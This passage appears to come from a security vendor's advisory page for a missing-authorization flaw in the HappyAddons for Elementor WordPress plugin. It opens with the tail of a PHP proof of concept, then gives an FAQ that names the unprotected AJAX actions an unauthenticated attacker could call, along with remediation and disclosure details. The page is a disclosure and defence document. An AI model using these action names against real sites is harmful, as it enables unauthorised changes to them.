curl_close($ch);
echo "Response from library manager: " . $response . "n";
// Note: The actual exploitation may require additional parameters and correct action names.
// This PoC demonstrates the lack of authorization checks.
?>
Frequently Asked Questions
What is CVE-2026-125788?
Vulnerability overviewCVE-2026-125788 is a missing authorization vulnerability in the HappyAddons for Elementor plugin for WordPress, affecting versions up to and including 3.51.3. It allows unauthenticated attackers to perform actions that should require authentication or higher privileges due to missing capability checks and nonce validation in several AJAX handlers and functions.
How does the vulnerability work?
Technical mechanismThe plugin fails to verify nonces or check user capabilities in functions such as twitter_feed_ajax, post_tab, ha_get_template_type, process_ignore_request, clone-handler, and library-manager. Attackers can send crafted requests to admin-ajax.php with specific action parameters to invoke these functions without proper authorization, leading to unauthorized actions like retrieving template information or manipulating settings.
Who is affected by this vulnerability?
Affected installationsAny WordPress site running the HappyAddons for Elementor plugin version 3.51.3 or earlier is affected. This includes sites that use the plugin for its Elementor widgets, GSAP animations, or templates. The vulnerability is present regardless of other security measures because it exploits missing checks within the plugin itself.
How can I check if my site is vulnerable?
Detection methodCheck the plugin version in your WordPress admin under Plugins. If the version is 3.51.3 or lower, your site is vulnerable. You can also use a security scanner that identifies known vulnerabilities in WordPress plugins, but manual version verification is the most direct method.
What is the risk level of this vulnerability?
Severity assessmentThe CVSS score is 5.3, which is Medium severity. While the base score indicates limited impact, the actual risk can be significant because unauthenticated attackers can perform actions such as information disclosure, settings manipulation, and potentially editing arbitrary posts, which could lead to site compromise depending on the context.
How can I fix or mitigate this vulnerability?
Remediation stepsUpdate the HappyAddons plugin to version 3.52.0 or later, which contains patches that add nonce verification and capability checks. If immediate update is not possible, consider disabling the plugin until a patch can be applied, or use a web application firewall (WAF) to block malicious requests targeting the vulnerable AJAX actions.
What does the proof of concept demonstrate?
PoC explanationThe proof of concept shows how an attacker can send unauthenticated requests to admin-ajax.php with actions like ha_get_template_type and process_ignore_request to retrieve template type metadata or set transients without proper authorization. It illustrates the lack of nonce and capability checks, confirming the vulnerability is exploitable by anyone.
What are the potential consequences of exploitation?
Impact analysisSuccessful exploitation could allow attackers to retrieve sensitive template information, manipulate plugin settings, hide security notices by ignoring attention seekers, clone posts without permission, and potentially edit arbitrary posts. These actions could lead to information disclosure, privilege escalation, or full site compromise.
Is authentication required to exploit this vulnerability?
Access requirementsNo authentication is required. The vulnerability is exploitable by unauthenticated attackers because the affected functions lack proper nonce verification and capability checks, allowing anyone to send requests directly to the vulnerable endpoints.
What is CWE-862 and why is it relevant?
Weakness classificationCWE-862 is Missing Authorization, which means the software does not perform an authorization check when a user attempts to access a resource or perform an action. This is relevant because the plugin fails to verify that users have the necessary permissions before executing privileged actions, directly leading to the vulnerability.
Are there any workarounds if I cannot update immediately?
Temporary mitigationsIf you cannot update to version 3.52.0 right away, consider disabling the HappyAddons plugin until you can apply the patch. Alternatively, implement a WAF rule to block requests to admin-ajax.php with the vulnerable action parameters, or restrict access to admin-ajax.php to authenticated users only, though this may break legitimate functionality.
How was the vulnerability disclosed and patched?
Disclosure and patch detailsThe vulnerability was disclosed on 2026-11-20, and the patched version 3.52.0 was released. The patch adds nonce verification and capability checks across the affected functions, including check_ajax_referer calls, current_user_can checks, and server-side data retrieval instead of trusting POST data, thereby enforcing proper authorization and data integrity.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






